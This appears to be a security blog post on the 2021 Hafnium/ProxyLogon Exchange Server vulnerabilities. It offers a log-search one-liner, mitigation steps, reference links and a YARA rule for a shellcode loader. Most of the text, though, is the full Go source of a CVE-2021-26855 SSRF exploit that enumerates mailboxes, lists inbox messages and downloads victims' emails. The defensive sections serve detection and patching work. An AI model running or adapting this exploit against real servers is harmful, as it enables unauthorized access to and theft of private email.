“Hafnium,” Researcher Publishes Code to Exploit Microsoft Exchange Vulnerabilities on Github
Microsoft owns GitHub, the Hafnium Exploit code has been now shutdown on GitHub, but it’s important to understand, the code is now still available on the internet.
While Github has shut it down and will stop rapid improvement of this this PoC exploit via GitHub.
It is still available for anyone with basic internet search skills and obviously for any motivated threat actor, they would be actively exploiting this as soon as the CVE was released.
I was able to find the Exploit code easily.

quick one liner to check for RCE (u might need to change the IIS path on some systems) is: findstr /snip /c:”ResetOABVirtualDirectory” C:\inetpub\logs\LogFiles\*.log

Mitigation
On March 02, 2021 Microsoft published a detailed report outlining four previously unknown “Zero Day” vulnerabilities in Microsoft Exchange Server. The attack, launched by Hafnium, targeted these vulnerabilities (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065) which allowed state sponsored threat actors to exploit Internet facing Exchange servers, gaining access to access to internal systems (Microsoft , 2021). This threat is high and is estimated to affect over 30,000 businesses worldwide. The attack chain is illustrated below:
On March 10, 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA), and the Federal Bureau of Investigation (FBI), issued a joint advisory addressing the disclosed vulnerabilities in Microsoft Exchange Server (Cybersecurity & Infastructure Security Agency, 2021). CISA and FBI assessed that the threat actors could exploit these vulnerabilities collectively tracked as ProxyLogon, to compromise networks, steal information, encrypt data for ransom, execute destructive attacks, and/or sell access to compromised networks on the Dark Web.The patches for these vulnerabilities were released on March 8th, 2021. All security leaders should immediately address this incident by working with their IT teams to make sure this risk is contained, and the appropriate actions taken. Below are the recommended steps:
- Ensure the patches have been applied ASAP to the Exchange Server environment.
- If you are unable to apply updates for whatever reason please follow the Microsoft alternative mitigations (Microsoft Security Response Center, 2021) steps in the interim.
- Make sure your SEIM threat intelligence engine has been updated with current IOCs and the UEBA algorithms have been updated.
- Check for compromised On-Premises Exchange Servers. Microsoft published ‘Check My OWA’ tool to check Exchange Servers with Outlook Web Access (OWA) enabled.
- Analyze your Exchange Server logs to identify any potential compromise. Microsoft published an updated PowerShell script named “Test-ProxyLogon.ps1” (available on Microsoft’s official GitHub page) that scans Microsoft Exchange log files for indicators of compromise (IOCs) associated with the exploited vulnerabilities.
- Organizations should load Microsoft Support Emergency Response Tool (MSERT) against their Exchange Servers to detect and remove potential web shells. Microsoft has released a new (March 08, 2021) update to the Microsoft Safety Scanner (MSERT)
- If you confirm you have been compromised, please follow the Cybersecurity & Infrastructure Security Agency (Cybersecurity & Infrastructure Security Agency, 2021) Alert (AA21-062A) Below is the MITRE ATT&CK techniques observed for the Microsoft Exchange Server attack.
- ArcSight Threat Intelligence engine was updated on March 03, 2021. If you need assistance or want to take advantage of free tools Micro Focus has available please see our MITRE ATT&CK® navigator for Micro Focus Products and click “Exploit Public.”
Research
- https://www.vice.com/en/article/n7vpaz/researcher-publishes-code-to-exploit-microsoft-exchange-vulnerabilities-on-github
- https://krebsonsecurity.com/2021/03/at-least-30000-u-s-organizations-newly-hacked-via-holes-in-microsofts-email-software/
- https://twitter.com/hackingdave/status/1370070863505199108?s=21
- https://gist.github.com/ss23/05c2a1811dbc5b582e730e93cbbf8c0b/revisions
- https://web.archive.org/web/20210310164403/https://gist.github.com/testanull/fabd8eeb46f120c4b15f8793617ca7d1
- https://twitter.com/CharlesDardaman/status/1369783770736431104
- https://github.com/jsdryan/CVE-2021-26855
- https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289
- https://www.praetorian.com/blog/reproducing-proxylogon-exploit/
- https://www.crowdstrike.com/blog/falcon-complete-stops-microsoft-exchange-server-zero-day-exploits/
- https://supportportal.crowdstrike.com/s/login_page/?ec=302&startURL=%2Fs%2Farticle%2FRelease-Notes-Trending-Threat-Dashboard-for-Microsoft-Exchange-Server-Zero-Day-Vulnerabilities-HAFNIUM
Yara
rule malware_goshell_0 {
meta:
author = "c3rb3ru5d3d53c"
description = "GoShell Shellcode Injector"
reference = "https://twitter.com/c3rb3ru5d3d53c/status/1365438427735457799"
hash = "a70b749e1d8a236e343ddbdf9d19e7b8"
type = "malware.loader/malware.downloader"
created = "2021-02-27"
os = "windows"
tlp = "white"
rev = 1
strings:
$golang_0 = "vendor/golang" ascii nocase
$uniq_0 = ".GetShellcode" ascii wide nocase
$hex_0 = "\\x" ascii wide nocase
$hex_1 = "hex.Decode" ascii wide nocase
$net_0 = /https?:\/\// ascii wide nocase
$net_1 = "GET" ascii wide
$net_2 = "net/http" ascii wide nocase
$cert_0 = {30 82 ?? ?? 30 82 ?? ??}
condition:
uint16(0) == 0x5a4d and
uint32(uint32(0x3c)) == 0x00004550 and
filesize > 5MB and not
$cert_0 and
#golang_0 > 64 and
$uniq_0 and
1 of ($hex_*) and
1 of ($net_*)
}
SSRF
https://raw.githubusercontent.com/h4x0r-dz/CVE-2021-26855/main/CVE-2021-26855-PoC.go
package main
import (
"crypto/tls"
"flag"
"fmt"
"time"
"io"
"io/ioutil"
"net/http"
//"net/url"
"os"
"strings"
"regexp"
"encoding/base64"
"bufio"
"strconv"
)
//Detecting vulnerability existence script
func Verify(targetUrl string) bool {
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := &http.Client{Transport: tr}
req, _ := http.NewRequest("GET", targetUrl, nil)
req.Header.Add("Cookie","X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;")
resp, _ := client.Do(req)
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
if strings.Contains(string(body), "NegotiateSecurityContext") {
return true
} else {
return false
}
}
func append16(v []byte, val uint16) []byte {
return append(v, byte(val), byte(val>>8))
}
func append32(v []byte, val uint16) []byte {
return append(v, byte(val), byte(val>>8), byte(val>>16), byte(val>>24))
}
const (
negotiateUnicode = 0x0001 // Text strings are in unicode
negotiateOEM = 0x0002 // Text strings are in OEM
requestTarget = 0x0004 // Server return its auth realm
negotiateSign = 0x0010 // Request signature capability
negotiateSeal = 0x0020 // Request confidentiality
negotiateLMKey = 0x0080 // Generate session key
negotiateNTLM = 0x0200 // NTLM authentication
negotiateLocalCall = 0x4000 // client/server on same machine
negotiateAlwaysSign = 0x8000 // Sign for all security levels
)
//Generate NTLM Type1
func Negotiate() []byte {
var ret []byte
flags := negotiateAlwaysSign | negotiateNTLM | requestTarget | negotiateOEM
ret = append(ret, "NTLMSSP\x00"...) // protocol
ret = append32(ret, 1) // type
ret = append32(ret, uint16(flags)) // flags
ret = append16(ret, 0) // NT domain name length
ret = append16(ret, 0) // NT domain name max length
ret = append32(ret, 0) // NT domain name offset
ret = append16(ret, 0) // local workstation name length
ret = append16(ret, 0) // local workstation name max length
ret = append32(ret, 0) // local workstation name offset
ret = append16(ret, 0) // unknown name length
ret = append16(ret, 0) // ...
ret = append16(ret, 0x30) // unknown offset
ret = append16(ret, 0) // unknown name length
ret = append16(ret, 0) // ...
ret = append16(ret, 0x30) // unknown offset
return ret
}
//Get effective information FQDN with NTLM TYPE2
func Ntlminfo(targetUrl string) (fqdn string, domain string) {
//var fqdn string
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := &http.Client{Transport: tr}
req, _ := http.NewRequest("GET", targetUrl, nil)
req.Header.Add("Authorization", fmt.Sprintf("NTLM %s", base64.StdEncoding.EncodeToString(Negotiate())))
req.Header.Add("Accept","text/xml")
resp, _ := client.Do(req)
reg1 := regexp.MustCompile(`[^NTLM].+;Negotiate\z`)
reg2 := regexp.MustCompile(`[^\s].+[^;Negotiate]`)
reg3 := regexp.MustCompile(`(\x03\x00.)(.+?)(\x05\x00)`)
reg4 := regexp.MustCompile(`\x03\x00.|\x05|\x00`)
reg5 := regexp.MustCompile(`(\x04\x00.)(.+?)(\x03\x00)`)
reg6 := regexp.MustCompile(`\x04\x00.|\x03|\x00`)
for _, values := range resp.Header {
type2 := reg2.FindString(reg1.FindString(strings.Join(values, ";")))
if type2 != "" {
decodeBytes, _ := base64.StdEncoding.DecodeString(reg2.FindString(type2))
fqdn = reg4.ReplaceAllString(reg3.FindString(string(decodeBytes)), "")
domain = reg6.ReplaceAllString(reg5.FindString(string(decodeBytes)), "")
}
}
return
}
func Postxml(targetUrl string, fqdn string, xmlcontent string) string {
//urlProxy, _ := url.Parse("http://127.0.0.1:8123")
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
//Proxy: http.ProxyURL(urlProxy),
}
client := &http.Client{Transport: tr}
req, _ := http.NewRequest("POST", targetUrl, strings.NewReader(xmlcontent))
req.Header.Add("Cookie", fmt.Sprintf("X-BEResource=%s/EWS/Exchange.asmx?a=~1942062522;", fqdn))
req.Header.Add("Content-Type", "text/xml")
//fmt.Println(req)
resp2, _ := client.Do(req)
//defer resp2.Body.Close()
body2, _ := ioutil.ReadAll(resp2.Body)
return string(body2)
}
func Userenumerate(targetUrl string, fqdn string, xmlcontent string, userfile string, domainneame string, stime int) {
fmt.Println(userfile)
ufile, err := os.Open(userfile)
if err != nil {
fmt.Println("File error")
os.Exit(0)
}
defer ufile.Close()
fmt.Println("Correct email address: \n")
br := bufio.NewReader(ufile)
for {
name, _, c := br.ReadLine()
if c == io.EOF {
fmt.Println("\nComplete ")
break
}
if strings.Contains(string(name), "@") {
str := Postxml(targetUrl, fqdn, fmt.Sprintf(xmlcontent, string(name)))
if strings.Contains(str, string(name)) {
//fmt.Println(fmt.Sprintf("Email address %s is incorrect ", string(name)))
}else {
fmt.Println(string(name))
}
}else{
address := fmt.Sprintf("%s@%s", string(name), domainneame)
str := Postxml(targetUrl, fqdn, fmt.Sprintf(xmlcontent, address))
if strings.Contains(str, string(name)) {
//fmt.Println(fmt.Sprintf("Email address %s is incorrect ", address))
}else {
fmt.Println(address)
}
}
time.Sleep(time.Duration(stime)*time.Second)
}
}
func makefile(fileName string, conntent string) {
f, err := os.Create(fileName)
defer f.Close()
if err != nil {
fmt.Println(err.Error())
} else {
_, _ = f.Write([]byte(conntent))
}
}
func main(){
var maddress string
host := flag.String("h", "", "String required, target address or domain name")
filepath := flag.String("U", "", "String options, users who need enumerations")
stime := flag.String("t", "1", "String option, request delay time Default 1")
desfqnd := flag.String("n", "", "String option, you need to specify FQND")
list := flag.Bool("l", false, "Optional, Listing Mail")
emailadd := flag.String("u", "administrator", "string option, designated target, Default administrator")
downl := flag.Bool("d", false, "Optional, download mail")
flag.Parse()
targetUrl := fmt.Sprintf("https://%s/owa/auth/x.js", *host)
ewsUrl := fmt.Sprintf("https://%s/ews/exchange.asmx", *host)
postUrl := fmt.Sprintf("https://%s/ecp/temp.js", *host)
sleep_time, _ := strconv.Atoi(*stime)
if *host == "" {
fmt.Println("Please enter the target IP address ")
os.Exit(0)
}
fmt.Println("Test the existence of the vulnerability ...")
if Verify(targetUrl) == true {
fmt.Println("Vulnerability exists ... Continue ")
}else{
fmt.Println("Vulnerability does not exist ... END")
os.Exit(0)
}
mailnum := `<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<m:GetFolder>
<m:FolderShape>
<t:BaseShape>Default</t:BaseShape>
</m:FolderShape>
<m:FolderIds>
<t:DistinguishedFolderId Id="inbox">
<t:Mailbox>
<t:EmailAddress>%s</t:EmailAddress>
</t:Mailbox>
</t:DistinguishedFolderId>
</m:FolderIds>
</m:GetFolder>
</soap:Body>
</soap:Envelope>`
maillist := `<?xml version='1.0' encoding='utf-8'?>
<soap:Envelope
xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'
xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'
xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>
<soap:Body>
<m:FindItem Traversal='Shallow'>
<m:ItemShape>
<t:BaseShape>AllProperties</t:BaseShape>
</m:ItemShape>
<m:IndexedPageItemView MaxEntriesReturned="5" Offset="0" BasePoint="Beginning" />
<m:ParentFolderIds>
<t:DistinguishedFolderId Id='inbox'>
<t:Mailbox>
<t:EmailAddress>%s</t:EmailAddress>
</t:Mailbox>
</t:DistinguishedFolderId>
</m:ParentFolderIds>
</m:FindItem>
</soap:Body>
</soap:Envelope>`
download := `<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<m:GetItem>
<m:ItemShape>
<t:BaseShape>AllProperties</t:BaseShape>
<t:BodyType>Text</t:BodyType>
</m:ItemShape>
<m:ItemIds>
<t:ItemId Id="%s" ChangeKey="%s" />
</m:ItemIds>
</m:GetItem>
</soap:Body>
</soap:Envelope>`
fqndstr, domainstr := Ntlminfo(ewsUrl)
fmt.Println("Target FQND: ", fqndstr)
if *filepath != "" {
Userenumerate(postUrl, fqndstr, mailnum, *filepath, domainstr, sleep_time)
}
if *desfqnd != "" {
fqndstr = *desfqnd
}
if strings.Contains(*emailadd, "@") {
maddress = *emailadd
}else{
maddress = fmt.Sprintf("%s@%s", *emailadd, domainstr)
}
str := Postxml(postUrl, fqndstr, fmt.Sprintf(mailnum, maddress))
//fmt.Println(str)
if strings.Contains(str, maddress) {
fmt.Println(fmt.Sprintf("The email address %s is incorrect, please re-enter ", maddress))
}else if strings.Contains(str, "Success") {
reg01 := regexp.MustCompile(`(<t:TotalCount>)(.+)(</t:TotalCount>)`)
reg02 := regexp.MustCompile(`<t:TotalCount>|</t:TotalCount>`)
mnum := reg02.ReplaceAllString(reg01.FindString(str), "")
fmt.Println("User", maddress, "The number of mail in the inbox in the mailbox is: ", mnum)
if *list == true {
if mnum != "0"{
contents := Postxml(postUrl, fqndstr, fmt.Sprintf(maillist, maddress))
reg_id := regexp.MustCompile(`(?:t\:ItemId\sId=")(.+?)(?:")`)
reg_key := regexp.MustCompile(`(?:t\:ItemId\sId=".+?"\sChangeKey=")(.+?)(?:")`)
reg_sub := regexp.MustCompile(`(?:<t:Subject>)(.+?)(?:</t:Subject>)`)
id := reg_id.FindAllStringSubmatch(contents, -1)
key := reg_key.FindAllStringSubmatch(contents, -1)
subject := reg_sub.FindAllStringSubmatch(contents, -1)
for i := 0; i < 5 ; i++{
fmt.Println("---------")
fmt.Println("ID :", i+1, "\nItemId: ", id[i][1], "\nkey: ", key[i][1], "\n邮件标题:", subject[i][1])
fmt.Println()
}
if *downl == true {
for i := 0; i < 5 ; i++{
fmt.Println("Downloading ", i," Email")
contentd := Postxml(postUrl, fqndstr, fmt.Sprintf(download, id[i][1], key[i][1]))
makefile(fmt.Sprintf("./ID-%v.xml", i+1), contentd)
}
fmt.Println("Download completed")
}
}else{
fmt.Println("Target mailbox no email! ")
}
}
}else{
fmt.Println("Default FQDN invalid, please specify other servers ")
}
}